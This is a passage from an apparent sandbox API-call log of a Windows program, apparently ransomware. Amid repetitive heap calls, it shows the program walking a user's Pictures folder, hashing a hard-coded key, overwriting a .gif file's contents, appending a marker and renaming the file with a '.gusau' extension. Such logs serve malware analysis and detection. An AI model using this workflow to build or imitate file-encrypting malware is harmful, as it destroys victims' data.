hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.349] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\") returned="NYC5ngf\\" [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.349] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0118.349] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.349] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.349] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.349] PathFindFileNameW (pszPath="") returned="" [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0118.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39418b0 | out: hHeap=0xd10000) returned 1 [0118.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204d8070, ftCreationTime.dwHighDateTime=0x1d4d2e9, ftLastAccessTime.dwLowDateTime=0x9f44feb0, ftLastAccessTime.dwHighDateTime=0x1d4d561, ftLastWriteTime.dwLowDateTime=0x9f44feb0, ftLastWriteTime.dwHighDateTime=0x1d4d561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NSqsuqL", cAlternateFileName="")) returned 1 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0118.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39418b0 | out: hHeap=0xd10000) returned 1 [0118.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78528cf0, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xf298fea0, ftLastAccessTime.dwHighDateTime=0x1d4c660, ftLastWriteTime.dwLowDateTime=0xf298fea0, ftLastWriteTime.dwHighDateTime=0x1d4c660, nFileSizeHigh=0x0, nFileSizeLow=0x3581, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P1zhXc0ibiHP0Bs2v5.gif", cAlternateFileName="P1ZHXC~1.GIF")) returned 1 [0118.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\P1zhXc0ibiHP0Bs2v5.gif") returned=".gif" [0118.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\P1zhXc0ibiHP0Bs2v5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\p1zhxc0ibihp0bs2v5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.351] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13697) returned 1 [0118.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.353] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x355b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.353] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.355] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.355] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x3581, lpOverlapped=0x0) returned 1 [0118.355] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.355] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.355] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.355] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.356] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.356] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.356] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.356] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.356] GetLastError () returned 0x0 [0118.356] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.356] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3580) returned 0x39f9f20 [0118.357] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.357] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x357c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x357c, lpOverlapped=0x0) returned 1 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.357] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3581, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.357] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.357] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.357] CloseHandle (hObject=0x610) returned 1 [0118.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0118.358] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\P1zhXc0ibiHP0Bs2v5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\p1zhxc0ibihp0bs2v5.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\P1zhXc0ibiHP0Bs2v5.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\p1zhxc0ibihp0bs2v5.gif.gusau")) returned 1 [0118.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.359] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.360] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78528cf0, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xf298fea0, ftLastAccessTime.dwHighDateTime=0x1d4c660, ftLastWriteTime.dwLowDateTime=0xf298fea0, ftLastWriteTime.dwHighDateTime=0x1d4c660, nFileSizeHigh=0x0, nFileSizeLow=0x3581, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P1zhXc0ibiHP0Bs2v5.gif", cAlternateFileName="P1ZHXC~1.GIF")) returned 0 [0118.360] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.360] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.360] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 